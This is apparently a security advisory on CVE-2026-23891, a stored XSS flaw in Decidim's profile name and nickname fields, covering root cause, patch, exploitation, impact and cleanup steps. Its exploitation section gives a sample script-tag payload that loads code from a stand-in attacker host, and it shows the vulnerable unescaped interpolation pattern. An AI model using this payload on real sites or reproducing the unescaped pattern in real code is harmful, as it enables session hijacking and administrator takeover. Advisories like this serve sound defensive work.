Apr 13, 2026·7 min read·33 visits
A stored XSS vulnerability in the Decidim framework allows low-privileged users to inject malicious scripts via profile fields. These payloads execute when viewed by other users or administrators, enabling session hijacking and unauthorized actions.
Decidim versions prior to 0.30.5 and 0.31.1 suffer from a critical stored Cross-Site Scripting (XSS) vulnerability. The framework fails to properly sanitize user-provided names and nicknames before rendering them across multiple contexts, including public comments, notifications, and highly privileged administrative audit logs. This allows authenticated attackers with standard participant privileges to execute arbitrary JavaScript in the context of other users, leading to session hijacking and administrative account takeover.
Decidim is an open-source participatory democracy framework utilized by various organizations for citizen engagement. The platform relies heavily on user interaction, facilitating discussions, proposals, and collaborative initiatives. Within this architecture, user identities are represented globally across the application through designated name and nickname fields.
CVE-2026-23891 represents a stored Cross-Site Scripting (XSS) vulnerability affecting these core identity fields. The framework fails to implement adequate input neutralization when processing updates to user profiles. Consequently, malicious payloads injected into profile fields are persisted in the database and rendered without proper escaping.
The vulnerability exposes multiple attack surfaces across both public-facing and administrative interfaces. Unprivileged participants can store payloads that subsequently execute in the browser context of any user viewing the injected content. This flaw enables session hijacking, unauthorized actions, and potential lateral movement into administrative domains.
The root cause of CVE-2026-23891 is the improper neutralization of user-provided input during web page generation, documented under CWE-79. The injection sink resides in the profile update mechanism, where the application accepts unvalidated input for the user name and nickname attributes. The framework stores this raw input directly within the decidim_users table.
Decidim utilizes a complex data model where user attributes propagate to various associated entities during standard lifecycle events. When a user interacts with the platform, their unescaped name is embedded into notifications, audit logs, and version histories. The application leverages the paper_trail gem to track object changes, resulting in the serialization of malicious payloads into the versions and action_logs tables.
The vulnerability manifests during the rendering phase when these associated records are displayed to other users. The application employs manual string interpolation rather than secure authorization status collections or standard HTML escaping helpers. As a result, the browser interprets the stored payload as executable code rather than literal text.
This issue is particularly pronounced within the administrative dashboards and the content verification fingerprint modal. The fingerprint modal displays the source JSON of a resource, including the author's name, without adequate context-aware escaping. Administrators reviewing moderation panels or participant lists are inadvertently forced to execute the stored payloads.
The codebase originally failed to apply context-aware output encoding when rendering user identities in complex view components. Decidim relies heavily on Rails Cells to encapsulate view logic. The AuthorCell and NotificationCell components extracted user attributes and interpolated them directly into HTML templates without invoking the h() helper.
The patch introduces strict server-side sanitization and fundamentally alters how the view layer handles authorization states. The framework migrates away from manual string interpolation, replacing it with AuthorizationStatusCollection objects. This architecture ensures that dynamic data is structurally separated from markup during the rendering process.
A key component of the mitigation, as seen in commit 63ae6a727bb0084cb712d06e37a235fec57c6780, addresses internal census form validation. The codebase refactored validation routines to utilize these secure authorization status collections, preventing raw string propagation across the application.
# Abstract Representation of Pre-patch Logic
def display_name
"<span>#{user.name}</span>" # Vulnerable string interpolation
end
# Abstract Representation of Post-patch Logic
def display_name
content_tag(:span, user.name) # Secure framework helper
endAdditionally, the developers implemented defensive CSS practices by introducing the prose class in Tailwind. This styling constraint restricts the visual impact and layout disruption caused by any unescaped HTML elements. The Tiptap rich text editor integration was also updated to prevent the smuggling of malicious HTML tags through whitespace manipulation or empty state bypasses.
Exploitation of CVE-2026-23891 requires minimal prerequisites. An attacker only needs a registered participant account on the target Decidim instance. The attack follows a straightforward stored XSS methodology, beginning with the injection of a malicious payload into the profile settings.
The attacker modifies their user name or nickname via the profile management interface. The payload typically contains JavaScript designed to exfiltrate session tokens or execute privileged API requests. A standard payload such as <script src="https://attacker.controlled/script.js"></script> is submitted and stored directly in the database.
Once the payload is stored, the attacker actively engages with the platform to maximize exposure. They may leave comments on highly visible proposals or trigger notifications sent to administrative staff. The payload remains dormant until the affected content is retrieved and rendered by the application view layer.
Execution occurs passively when a victim visits a page containing the attacker's manipulated identity. If an administrator views the moderation queue or action logs, the script executes within their highly privileged browser context. The attacker can then programmatically perform unauthorized actions on behalf of the administrator, such as modifying platform configurations or elevating privileges.
The security impact of CVE-2026-23891 is classified as critical due to the potential for complete application compromise. The vulnerability scores a 9.3 on the CVSS 4.0 scale, reflecting the high severity across multiple architectural metrics. The flaw fundamentally breaks the security boundary between unprivileged participants and platform administrators.
A successful exploit directly compromises confidentiality and integrity. The execution of arbitrary JavaScript allows attackers to steal sensitive session cookies or access internal platform data visible only to the victim. This facilitates persistent unauthorized access to the application under the guise of legitimate administrative users.
Furthermore, the vulnerability enables severe integrity violations. An attacker can force an administrator's browser to execute state-changing requests, such as altering proposal outcomes, deleting user accounts, or creating new administrative profiles. This automated exploitation happens transparently in the background without the victim's knowledge or interaction beyond simply viewing a page.
The persistence of the payload within audit logs and version histories exacerbates the overall impact. Even if the malicious user account is disabled, the serialized payloads remain active in the database. Any historical review of the attacker's actions will re-trigger the exploit, creating a persistent threat loop for forensic analysts and platform moderators.
The primary remediation for CVE-2026-23891 is to upgrade the Decidim framework to a patched release. Administrators must apply version 0.30.5 or 0.31.1 to ensure comprehensive mitigation. These releases include extensive view layer hardening, input sanitization logic, and critical data retention fixes.
Beyond patching the application code, administrators must address the residual data stored in the database. The patch enhances the DestroyAccount command to aggressively purge orphaned data, including notifications, versions, and action logs. This structural change prevents legacy payloads from executing during administrative audits.
To facilitate this cleanup, the patch provides specific Rake tasks. Administrators must execute bin/rails decidim:upgrade:remove_deleted_users_left_data and bin/rails decidim:upgrade:fix_deleted_private_follows. These scripts parse the database to identify and eliminate malformed data left behind by previously deleted malicious accounts.
Prior to or immediately following the upgrade, security teams should conduct a forensic review of the database. Administrators should audit the decidim_users table for usernames containing suspicious characters such as <, >, and ". Identifying these anomalies will help determine if active exploitation attempts occurred prior to the application of the patch.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L| Product | Affected Versions | Fixed Version |
|---|---|---|
Decidim Decidim | < 0.30.5 | 0.30.5 |
Decidim Decidim | >= 0.31.0.rc1, <= 0.31.0 | 0.31.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4.0 Score | 9.3 |
| Impact | High Confidentiality, High Integrity |
| Exploit Status | Proof-of-Concept |
| KEV Status | Not Listed |
| Affected Component | User Profile Rendering |
| Patch Status | Fixed in 0.30.5, 0.31.1 |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.